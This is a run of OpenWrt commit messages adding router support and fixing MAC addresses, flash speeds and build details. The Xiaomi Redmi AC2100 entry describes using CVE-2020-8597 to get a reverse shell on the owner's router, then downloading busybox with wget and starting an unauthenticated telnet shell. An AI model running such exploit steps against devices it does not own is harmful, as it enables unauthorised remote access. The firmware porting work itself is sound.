Specification:
- CPU: MediaTek MT7621A
- RAM: 128 MB DDR3
- FLASH: 128 MB ESMT NAND
- WIFI: 2x2 802.11bgn (MT7603)
- WIFI: 4x4 802.11ac (MT7615)
- ETH: 3xLAN+1xWAN 1000base-T
- LED: Power, WAN, in Amber and White
- UART: On board near ethernet, opposite side from power
- Modified u-boot
Installation:
1. Run linked exploit to get shell, startup telnet and wget the files over
2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1
3. nvram set uart_en=1
4. nvram set bootdelay=5
5. nvram set flag_try_sys1_failed=1
6. nvram commit
7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0
Restore to stock:
1. Setup PXE and TFTP server serving stock firmware image
(See dhcp-boot option of dnsmasq)
2. Hold reset button down before powering on and wait for flashing amber led
3. Release reset button
4. Wait until status led changes from flashing amber to white
Notes:
This device has dual kernel and rootfs slots like other Xiaomi devices currently
supported (mir3g, etc.) thus, we use the second slot and overwrite the first
rootfs onwards in order to get more space.
Exploit and detailed instructions:
https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100
An implementation of CVE-2020-8597 against stock firmware version 1.0.14
This requires a computer with ethernet plugged into the wan port and an active
PPPoE session, and if successful will open a reverse shell to 192.168.31.177
on port 31337.
As this shell is somewhat unreliable and likely to be killed in a random amount
of time, it is recommended to wget a static compiled busybox binary onto the
device and start telnetd with it.
The stock telnetd and dropbear unfortunately appear inoperable.
(Disabled on release versions of stock firmware likely)
Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox
chmod a+x /tmp/busybox
/tmp/busybox telnetd -l /bin/sh
Tested-by: David Martinez <bonkilla@gmail.com>
Signed-off-by: Richard Huynh <voxlympha@gmail.com>
lzma-loader uart output wasn't working on BCM3380/BCM6362 because these
SoCs have the same processor ID.
Let's use CHIP_ID for establishing the UART base address.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
When CONFIG_AUTOREMOVE is enabled, CFE binaries are removed before the
image creation.
Install CFE binaries to kernel directory and let autoremove clean the
files in PKG_BUILD_DIR.
Also drop unneeded tar cmd/options.
Fixes: dcee4eaa42 ("bcm63xx-cfe: add package with CFE RAM binaries")
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
* ipc: add support for openbsd kernel implementation
* ipc: cleanup openbsd support
* wg-quick: add support for openbsd kernel implementation
* wg-quick: cleanup openbsd support
Very exciting! wg(8) and wg-quick(8) now support the kernel implementation for
OpenBSD. OpenBSD is the second kernel, after Linux, to receive full fledged
and supported WireGuard kernel support. We'll probably send our patch set up
to the list during this next week. `ifconfig wg0 create` to make an interface,
and `wg ...` like usual to configure WireGuard aspects of it, like usual.
* wg-quick: support dns search domains
If DNS= has a non-IP in it, it is now treated as a search domain in
resolv.conf. This new feature will be rolling out across our various GUI
clients in the next week or so.
* Makefile: simplify silent cleaning
* ipc: remove extra space
* git: add gitattributes so tarball doesn't have gitignore files
* terminal: specialize color_mode to stdout only
Small cleanups.
* highlighter: insist on 256-bit keys, not 257-bit or 258-bit
The highlighter's key checker is now stricter with base64 validation.
* wg-quick: android: support application whitelist
Android users can now have an application whitelist instead of application
blacklist.
* systemd: add wg-quick.target
This enables all wg-quick at .services to be restarted or managed as a unit via
wg-quick.target.
* Makefile: remember to install all systemd units
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Until now only HW modded SPI flash version was supported.
BCM6328 with 64M RAM and 128M NAND.
More info: https://openwrt.org/toh/sercomm/ad1018
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
Olimex RT5350F-OLinuXino devices do not have a default MAC address, and there is
nothing at the 0x4 offset in the factory partition. Using a local address, which
is randomly generated by the kernel, would be a better choice.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
of_get_mac_address can return ERR_PTR since 5.2, so the return pointer should be
checked before used. Otherwise it might cause an oops during boot.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
This is additional fix of c998ae7f0e.
The sysupgrade image of I-O DATA MT7621 devices manufactured by MSTC
(MitraStar Technology Corp.) faced to the booting issue. This was caused
by imcomplete extraction of large kernel image by U-Boot, and this issue
is occurred in initramfs image after fixing of sysupgrade image.
So, use lzma-loader for initramfs image to fix the issue.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Co-developed-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Tested-by: Yanase Yuki <dev@zpc.sakura.ne.jp> [wn-ax2033gr]
ramips images now relies on explicit switch setup for proper failsafe
functionality. Remove default cases where it relies on vlan setup in
dts and add switch setup for devices affected.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
BCM63169 with 128M RAM, 128M NAND and BCM53125 switch.
Switch is connected by HSSPI to CS5.
More info: https://openwrt.org/toh/comtrend/vg8050
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
BCM6362 with 64M RAM, 32M NAND and BCM53125 switch.
Switch is connected by MMAP, which is currently unsupported (no VLANs).
More info: https://openwrt.org/toh/netgear/dgnd3700v2
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
The location 0x28 in factory partition is the common one used for
ethernet address on this architecture. Despite, it contains the label
MAC address for the devices at hand.
Consequently, this patch moves 0x28 to the ðernet node in DTS files
(setting the WAN MAC address there) and sets up the lan_mac from 0x22
in 02_network. As a benefit, this allows to use label-mac-device in
DTS instead of ucidef_set_label_macaddr.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Like for the RT-AC54U, this uses a DT trigger for WiFi also at the
RT-AC51U. While at it, rename node and label to wifi2g.
Note that the 5g WiFi LED still isn't supported (see PR #3017 for
further details: https://github.com/openwrt/openwrt/pull/3017 )
Tested-by: Davide Fioravanti <pantanastyle@gmail.com>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The current MAC address assignment for the ASUS RT-AC51U is "wrong",
it actually should be the same as for the RT-AC54U. Fix it.
MAC assignment based on vendor firmware:
2g 0x4 label
5g 0x8004 label +4
lan 0x22 label +4
wan 0x28 label
Thanks to Davide Fioravanti for checking this on his device.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The version inside the compat file determines, if a firmware supports
a specific device. I have not yet fully understood, how this is checked,
but it only seems to indicate which devices are supported by a specific
version of the combined vendor firmware. Devices assume that subsequent
versions, starting with the version that initially added support for a
specific device, are always compatible.
The first compat version that added support for the EP-R6 was '21001:7',
but OpenWrt did use '21001:6' before. This is why the factory image could
not be flashed using the vendor software, but only using TFTP.
The compat version has been bumped by the vendor a few times, but more
devices have been added since (e.g. ER-10X). Because OpenWrt currently
only supports the ER-X, ER-X-SFP and EP-R6, the compat version is
incremented to the version that first supported the EP-R6, which is
'21001:7'.
This allows the factory image to be flashed on EP-R6 without TFTP.
Signed-off-by: Fabian Bläse <fabian@blaese.de>
The mpc85xx-generic subtarget supports the QorIQ SoCs of the p1010
family. Rename the subtarget to reflect this affiliation as it's the
case with the other mpc85xx subtargets.
Signed-off-by: David Bauer <mail@david-bauer.net>
CFE RAM is a second stage bootloader which is usually loaded by CFE ROM
(first stage bootloader) from a JFFS2 partition stored on the NAND.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
This ports support for the TL-WA901ND v4 and v5 from ar71xx to ath79.
They are similar to the TP9343-based TL-WR940N v3/v4 and TL-WR941ND v6.
Specifications:
SoC: TP9343
Flash/RAM: 4/32 MiB
CPU: 750 MHz
WiFi: 2.4 GHz b/g/n
Ethernet: 1 port (100M)
Flashing instructions:
Upload the factory image via the vendor firmware upgrade option.
Flash instruction (TFTP):
1. Set PC to fixed ip address 192.168.0.66
2. Download *-factory.bin image and rename it to * (see below)
3. Start a tftp server with the image file in its root directory
4. Turn off the router
5. Press and hold Reset button
6. Turn on router with the reset button pressed and wait ~15 seconds
7. Release the reset button and after a short time
the firmware should be transferred from the tftp server
8. Wait ~30 second to complete recovery.
* The image name for TFTP recovery is wa901ndv4_tp_recovery.bin for
both variants.
In ar71xx, a MAC address with offset 1 was used for ethernet port.
That's probably wrong, but this commit sticks to it until we know
the correct value.
Like in ar71xx, this builds the default factory.bin with EU country
code.
Thanks to Leonardo Weiss for testing on the v5.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The additional supported device isn't required since this is a new
device. Some board contains an addtional device,
those device were supported in earlier versions which used the
"old" image builder code.
To support an sysupgrade from such old version, there is the all caps
additional device.
Signed-off-by: Alexander Couzens <lynxis@fe80.eu>
Reviewed-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Use similiar naming scheme as ath79.
Since the fritz 7360 v2 was only in the tree for 2 days, there
is no compatibility for the old image.
Users which has installed the fritz 7360 v2 before this change, must
use sysupgrade --force to skip checks on the board.
Signed-off-by: Alexander Couzens <lynxis@fe80.eu>
Reviewed-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This increases the SPI frequency for both ASUS RT-AC51U and RT-AC54U.
Speed comparison tests have been performed on RT-AC54U:
- 10Mhz
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 4m 37.78s
user 0m 0.02s
sys 2m 43.92s
- 50Mhz
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 1m 28.34s
user 0m 0.03s
sys 0m 46.96s
- 50Mhz fast read
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 1m 11.94s
user 0m 0.01s
sys 0m 46.94s
- 80Mhz
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 1m 12.31s
user 0m 0.04s
sys 0m 46.96s
- 80Mhz fast read
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real 1m 12.15s
user 0m 0.02s
sys 0m 46.97s
Based on that, we took 50 MHz with fast-read, as higher frequencies
didn't yield further improvements.
For the RT-AC51U, only the final configuration was tested.
Tested-by: Zhijun You <hujy652@gmail.com> [RT-AC54U]
Tested-by: Davide Fioravanti <pantanastyle@gmail.com> [RT-AC51U]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This commit adds support for Ubiquiti devices based on the XC board
type, such as the PowerBeam 5AC 500. The factory binary structure is
the same as the WA type.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
The Linksys EA7500 v2 is advertised as AC1900, but its internal
hardware is AC2600 capable.
Hardware
--------
SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads)
RAM: 256M (Nanya NT5CC128M16IP-DI)
FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI)
ETH: 5x 10/100/1000 Mbps Ethernet (MT7530)
WIFI:
- 2.4GHz: 1x MT7615N (4x4:4)
- 5GHz: 1x MT7615N (4x4:4)
- 4 antennas: 3 external detachable antennas and 1 internal
USB:
- 1x USB 3.0
- 1x USB 2.0
BTN:
- 1x Reset button
- 1x WPS button
LEDS:
- 1x White led (Power)
- 6x Green leds (link lan1-lan4, link wan, wps)
- 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable)
Everything works correctly.
Installation
------------
The “factory” openwrt image can be flashed directly from OEM stock
firmware. After the flash the router will reboot automatically.
However, due to the dual boot system, the first installation could fail
(if you want to know why, read the footnotes).
If the flash succeed and you can reach OpenWrt through the web
interface or ssh, you are done.
Otherwise the router will try to boot 3 times and then will
automatically boot the OEM firmware (don’t turn off the router.
Simply wait and try to reach the router through the web interface
every now and then, it will take few minutes).
After this, you should be back in the OEM firmware.
Now you have to flash the OEM Firmware over itself using the OEM web
interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img
downloaded from the Linksys website).
When the router reboots flash the “factory” OpenWrt image and this
time it should work.
After the OpenWrt installation you have to use the sysupgrade image
for future updates.
Restore OEM Firmware
--------------------
After the OpenWrt flash, the OEM firmware is still stored in the
second partition thanks to the dual boot system.
You can switch from OpenWrt to OEM firmware and vice-versa failing
the boot 3 times in a row:
1) power on the router
2) wait 15 seconds
3) power off the router
4) repeat steps 1-2-3 twice more.
5) power on the router and you should be in the “other” firmware
If you want to completely remove OpenWrt from your router, switch to
the OEM firmware and then flash OEM firmware from the web interface
as a normal update.
This procedure will overwrite the OpenWrt partition.
Footnotes
---------
The Linksys EA7500-v2 has a dual boot system to avoid bricks.
This system works using 2 pair of partitions:
1) "kernel" and "rootfs"
2) "alt_kernel" and "alt_rootfs".
After 3 failed boot attempts, the bootloader tries to boot the other
pair of partitions and so on.
This system is managed by the bootloader, which writes a bootcount in
the s_env partition, and if successfully booted, the system add a
"zero-bootcount" after the previous value.
A system update performed from OEM firmware, writes the firmware on the
other pair of partitions and sets the bootloader to boot the new pair
of partitions editing the “boot_part” variable in the bootloader vars.
Effectively it's a quick and safe system to switch the selected boot
partition.
Another way to switch the boot partition is:
1) power on the router
2) wait 15 seconds
3) power off the router
4) repeat steps 1-2-3 twice more.
5) power on the router and you should be in the “other” firmware
In this OpenWrt port, this dual boot system is partially working
because the bootloader sets the right rootfs partition in the cmdline
but unfortunately OpenWrt for ramips platform overwrites the cmdline
so is not possible to detect the right rootfs partition.
Because all of this, I preferred to simply use the first pair of
partitions and set read-only the other pair.
However this solution is not optimal because is not possible to know
without opening the case which is the current booted partition.
Let’s take for example a router booting the OEM firmware from the first
pair of partitions. If we flash the OpenWrt image, it will be written
on the second pair. In this situation the router will bootloop 3 times
and then will automatically come back to the first pair of partitions
containg the OEM firmware.
In this situation, to flash OpenWrt correctly is necessary to switch
the booting partition, flashing again the OEM firmware over itself.
At this point the OEM firmware is on both pair of partitions but the
current booted pair is the second one.
Now, flashing the OpenWrt factory image will write the firmware on
the first pair and then will boot correctly.
If this limitation in the ramips platform about the cmdline will be
fixed, the dual boot system can also be implemented in OpenWrt with
almost no effort.
Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
Co-Developed-by: Jackson Lim <jackcolentern@gmail.com>
Signed-off-by: Jackson Lim <jackcolentern@gmail.com>
netis WF2770 is a 2.4/5GHz band AC750 router, based on MediaTek MT7620A.
Specifications:
- SoC: MT7620A
- RAM: DDR2 64MB
- Flash: SPI NOR 16MB
- WiFi:
- 2.4GHz: SoC internal
- 5GHz: MT7610EN
- Ethernet: 5x 10/100/1000Mbps
- Switch: MT7530BU
- UART:
- J2: 3.3V, RX, TX, GND (3.3V is the square pad) / 57600 8N1
MAC addresses in factory partition:
0x0004: LAN, WiFi 2.4GHz (label_mac-6)
0x0028: not used (label_mac-1)
0x002e: WAN (label_mac)
0x8004: WiFi 5GHz (label_mac+2)
Installation via web interface:
1. Flash **initramfs** image through the stock web interface.
2. Boot into OpenWrt and perform sysupgrade with sysupgrade image.
Revert to stock firmware:
1. Perform sysupgrade with stock image.
Reviewed-by: Pawel Dembicki <paweldembicki@gmail.com>
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Specification:
- CPU: MTK MT7620A
- RAM: 64MB
- ROM: 16MB SPI Flash Macronix MX25L12835E
- WiFi1: MediaTek MT7620A
- WiFi2: MediaTek MT7612E
- Button: reset, wps
- LED: 9 LEDs:Power, WiFi 2.4G,WiFi 5G, USB, LAN1, LAN2, LAN3, LAN4, WAN
- Ethernet: 5 ports, 4 LAN + 1 WAN
- Other: 1x UART 1x USB2.0
Installation:
Update using ASUS Firmware Restoration Tool:
1. Download the ASUS Firmware Restoration Tool but don't open it yet
2. Unplug your computer from the router
3. Put the router into Rescue Mode by: turning the power off, using a pin
to press and hold the reset button, then turning the router back on while
keeping the reset button pressed for ~5 secs until the power LED starts
flashing slowly (which indicates the router has entered Rescue Mode)
4. Important (if you don't do this next step the Asus Firmware
Restoration Tool will wrongly assume that the router is not in Rescue Mode
and will refuse to flash it): go to the Windows Control Panel and
temporarily disable ALL other network adapters except the one you will use
to connect your computer to the router
5. For the single adapter you left enabled, temporarily give it the
static IP 192.168.1.10 and the subnet mask 255.255.255.0
6. Connect a LAN cable between your computer (make sure to use the
Ethernet port of the adapter you've just set up) and port 1 of the router
(not the router's WAN port)
7. Rename sysupgrade.bin to factory.trx
8. Open the Asus Firmware Restoration Tool, locate factory.trx and click
upload (if Windows shows a compatibility prompt, confirm that the tool worked fine)
9. Flashing and reboot is finished when the power LED stops blinking and
stays on
MAC assignment based on vendor firmware:
2g 0x4 label
5g 0x8004 label +4
lan 0x22 label +4
wan 0x28 label
Signed-off-by: Zhijun You <hujy652@gmail.com>
[rebased due to DTSI patch, minor commit message adjustments, fix
label MAC address (lan->wan), do spi frequency increase separately]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This creates a DTSI for the ASUS RT-AC51U and the upcoming RT-AC54U,
as they are quite similar.
White at it, drop the unneeded "status = okay" for ethernet.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This drops some ancient kernel version switches from patches on
lantiq target. The patch only adjusts the latest kernel 5.4, as
doing it a second time for an older kernel seems a waste of time
for a cosmetic change.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This drops some ancient kernel version switches from patches on
bcm27xx target. The patch only adjusts the latest kernel 5.4, as
doing it a second time for an older kernel seems a waste of time
for a cosmetic change.
Refresh remaining target patches.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This drops the obsolete version switches for non-supported kernels
from local drivers in generic target.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
